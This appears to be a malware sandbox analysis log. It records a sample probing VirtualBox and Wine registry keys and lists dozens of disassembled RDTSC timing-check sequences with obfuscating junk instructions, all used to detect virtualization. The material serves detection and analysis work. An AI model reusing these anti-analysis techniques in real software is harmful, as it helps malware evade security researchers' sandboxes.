Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1EF1D9 second address: 1EF1EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F061450AC2Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35A738 second address: 35A749 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jnc 00007F06147E5FF6h 0x0000000f push eax 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35A749 second address: 35A757 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35A757 second address: 35A75B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36F1EF second address: 36F237 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F061450AC2Dh 0x0000000d popad 0x0000000e jng 00007F061450AC32h 0x00000014 pushad 0x00000015 pushad 0x00000016 popad 0x00000017 jbe 00007F061450AC26h 0x0000001d jmp 00007F061450AC30h 0x00000022 popad 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 popad 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36F237 second address: 36F23B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36F23B second address: 36F25E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F061450AC36h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36F25E second address: 36F283 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F06147E6009h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jns 00007F06147E5FF8h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36F40B second address: 36F41D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 ja 00007F061450AC26h 0x0000000e push edi 0x0000000f pop edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36F41D second address: 36F443 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 jg 00007F06147E601Ah 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F06147E6008h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36F443 second address: 36F447 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36F583 second address: 36F58E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F06147E5FF6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36F86B second address: 36F875 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F061450AC26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 372520 second address: 372524 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 372992 second address: 37299C instructions: 0x00000000 rdtsc 0x00000002 jo 00007F061450AC2Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37299C second address: 3729D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jns 00007F06147E5FFAh 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 jmp 00007F06147E6000h 0x00000016 mov eax, dword ptr [eax] 0x00000018 pushad 0x00000019 jmp 00007F06147E6002h 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 384303 second address: 384309 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 384309 second address: 38430F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38430F second address: 384313 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 394078 second address: 39407F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3662E1 second address: 3662EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F061450AC26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3925DF second address: 39263B instructions: 0x00000000 rdtsc 0x00000002 js 00007F06147E5FF6h 0x00000008 jmp 00007F06147E5FFBh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jmp 00007F06147E5FFEh 0x00000015 pushad 0x00000016 popad 0x00000017 push esi 0x00000018 pop esi 0x00000019 push edi 0x0000001a pop edi 0x0000001b popad 0x0000001c pop ebx 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 jmp 00007F06147E5FFFh 0x00000025 pushad 0x00000026 popad 0x00000027 pushad 0x00000028 popad 0x00000029 popad 0x0000002a push esi 0x0000002b jmp 00007F06147E6005h 0x00000030 push ebx 0x00000031 pop ebx 0x00000032 pop esi 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3927AC second address: 3927C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007F061450AC2Eh 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 392AB3 second address: 392AB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 392AB7 second address: 392ABB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 392ABB second address: 392AC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 392AC1 second address: 392AC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 392AC7 second address: 392ADB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jns 00007F06147E5FF6h 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jnc 00007F06147E5FF6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 392ADB second address: 392ADF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 392C6D second address: 392C71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 392F1E second address: 392F37 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F061450AC26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F061450AC2Fh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 385A13 second address: 385A17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 385A17 second address: 385A27 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F061450AC2Eh 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 385A27 second address: 385A2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 385A2B second address: 385A3C instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F061450AC2Ch 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 385A3C second address: 385A42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 367E11 second address: 367E17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3937BC second address: 3937C6 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F06147E6015h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 393EE6 second address: 393EEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 393EEC second address: 393EF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 393EF4 second address: 393F11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F061450AC34h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 399B69 second address: 399B89 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F06147E6005h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 399B89 second address: 399B94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F061450AC26h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 399B94 second address: 399B9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39A1AA second address: 39A1AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39A1AE second address: 39A1D2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F06147E6007h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov eax, dword ptr [eax] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39A1D2 second address: 39A1D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39A1D6 second address: 39A1DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39A1DA second address: 39A1E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39A1E0 second address: 39A1E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39A1E5 second address: 39A1F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d pushad 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39A1F6 second address: 39A1FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39A2D1 second address: 39A2D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 385A35 second address: 385A3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39EA6E second address: 39EA78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F061450AC26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39EBFC second address: 39EC02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39EC02 second address: 39EC0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39EC0D second address: 39EC11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39EC11 second address: 39EC19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39ED64 second address: 39ED73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jnp 00007F06147E5FF6h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39ED73 second address: 39ED80 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F061450AC26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39EFF5 second address: 39F001 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F06147E5FF6h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39F001 second address: 39F00C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F061450AC26h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39F344 second address: 39F348 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39F348 second address: 39F350 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A0AF5 second address: 3A0AF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A0AF9 second address: 3A0AFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A1048 second address: 3A1053 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A16A5 second address: 3A16DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F061450AC38h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007F061450AC2Fh 0x00000010 jbe 00007F061450AC2Ch 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A1D22 second address: 3A1D26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A2740 second address: 3A2746 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A2746 second address: 3A27E8 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F06147E5FFCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push edi 0x00000010 call 00007F06147E5FF8h 0x00000015 pop edi 0x00000016 mov dword ptr [esp+04h], edi 0x0000001a add dword ptr [esp+04h], 0000001Bh 0x00000022 inc edi 0x00000023 push edi 0x00000024 ret 0x00000025 pop edi 0x00000026 ret 0x00000027 push 00000000h 0x00000029 push 00000000h 0x0000002b push eax 0x0000002c call 00007F06147E5FF8h 0x00000031 pop eax 0x00000032 mov dword ptr [esp+04h], eax 0x00000036 add dword ptr [esp+04h], 00000016h 0x0000003e inc eax 0x0000003f push eax 0x00000040 ret 0x00000041 pop eax 0x00000042 ret 0x00000043 sub edi, dword ptr [ebp+122D3700h] 0x00000049 push 00000000h 0x0000004b push 00000000h 0x0000004d push edi 0x0000004e call 00007F06147E5FF8h 0x00000053 pop edi 0x00000054 mov dword ptr [esp+04h], edi 0x00000058 add dword ptr [esp+04h], 0000001Ah 0x00000060 inc edi 0x00000061 push edi 0x00000062 ret 0x00000063 pop edi 0x00000064 ret 0x00000065 jmp 00007F06147E5FFEh 0x0000006a push eax 0x0000006b push eax 0x0000006c push edx 0x0000006d jmp 00007F06147E6001h 0x00000072 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A27E8 second address: 3A27ED instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A37A8 second address: 3A383E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push ecx 0x0000000c call 00007F06147E5FF8h 0x00000011 pop ecx 0x00000012 mov dword ptr [esp+04h], ecx 0x00000016 add dword ptr [esp+04h], 0000001Bh 0x0000001e inc ecx 0x0000001f push ecx 0x00000020 ret 0x00000021 pop ecx 0x00000022 ret 0x00000023 mov dword ptr [ebp+122D20B1h], ecx 0x00000029 push 00000000h 0x0000002b add esi, 05D2826Ah 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push edx 0x00000036 call 00007F06147E5FF8h 0x0000003b pop edx 0x0000003c mov dword ptr [esp+04h], edx 0x00000040 add dword ptr [esp+04h], 00000016h 0x00000048 inc edx 0x00000049 push edx 0x0000004a ret 0x0000004b pop edx 0x0000004c ret 0x0000004d jmp 00007F06147E6005h 0x00000052 xchg eax, ebx 0x00000053 push eax 0x00000054 jmp 00007F06147E6006h 0x00000059 pop eax 0x0000005a push eax 0x0000005b pushad 0x0000005c jbe 00007F06147E5FF8h 0x00000062 push ebx 0x00000063 pop ebx 0x00000064 push eax 0x00000065 push edx 0x00000066 pushad 0x00000067 popad 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A4185 second address: 3A418C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A57B4 second address: 3A57B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A554C second address: 3A556C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jp 00007F061450AC31h 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e push ecx 0x0000000f push esi 0x00000010 pop esi 0x00000011 pop ecx 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A619A second address: 3A619E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A619E second address: 3A61BD instructions: 0x00000000 rdtsc 0x00000002 jc 00007F061450AC2Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jno 00007F061450AC2Ch 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A5F68 second address: 3A5F8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F06147E6008h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A5F8B second address: 3A5FA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F061450AC38h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A627D second address: 3A6290 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F06147E5FFFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A6C9D second address: 3A6CA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A6CA3 second address: 3A6D20 instructions: 0x00000000 rdtsc 0x00000002 js 00007F06147E5FF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push edi 0x00000012 call 00007F06147E5FF8h 0x00000017 pop edi 0x00000018 mov dword ptr [esp+04h], edi 0x0000001c add dword ptr [esp+04h], 0000001Ah 0x00000024 inc edi 0x00000025 push edi 0x00000026 ret 0x00000027 pop edi 0x00000028 ret 0x00000029 movsx esi, ax 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push ebp 0x00000031 call 00007F06147E5FF8h 0x00000036 pop ebp 0x00000037 mov dword ptr [esp+04h], ebp 0x0000003b add dword ptr [esp+04h], 0000001Ah 0x00000043 inc ebp 0x00000044 push ebp 0x00000045 ret 0x00000046 pop ebp 0x00000047 ret 0x00000048 mov dword ptr [ebp+1245305Ch], ecx 0x0000004e push 00000000h 0x00000050 mov esi, dword ptr [ebp+122D1B29h] 0x00000056 xchg eax, ebx 0x00000057 jg 00007F06147E6000h 0x0000005d push eax 0x0000005e push eax 0x0000005f push edx 0x00000060 pushad 0x00000061 push eax 0x00000062 push edx 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A6D20 second address: 3A6D2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F061450AC26h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AA521 second address: 3AA525 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A763C second address: 3A7641 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AA525 second address: 3AA5A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push edx 0x0000000d call 00007F06147E5FF8h 0x00000012 pop edx 0x00000013 mov dword ptr [esp+04h], edx 0x00000017 add dword ptr [esp+04h], 0000001Dh 0x0000001f inc edx 0x00000020 push edx 0x00000021 ret 0x00000022 pop edx 0x00000023 ret 0x00000024 or ebx, dword ptr [ebp+122D1C7Dh] 0x0000002a js 00007F06147E600Eh 0x00000030 jmp 00007F06147E6008h 0x00000035 push 00000000h 0x00000037 mov ebx, 0EA5B7E1h 0x0000003c push 00000000h 0x0000003e xchg eax, esi 0x0000003f jnl 00007F06147E5FFEh 0x00000045 push eax 0x00000046 push eax 0x00000047 push edx 0x00000048 jmp 00007F06147E6002h 0x0000004d rdtsc
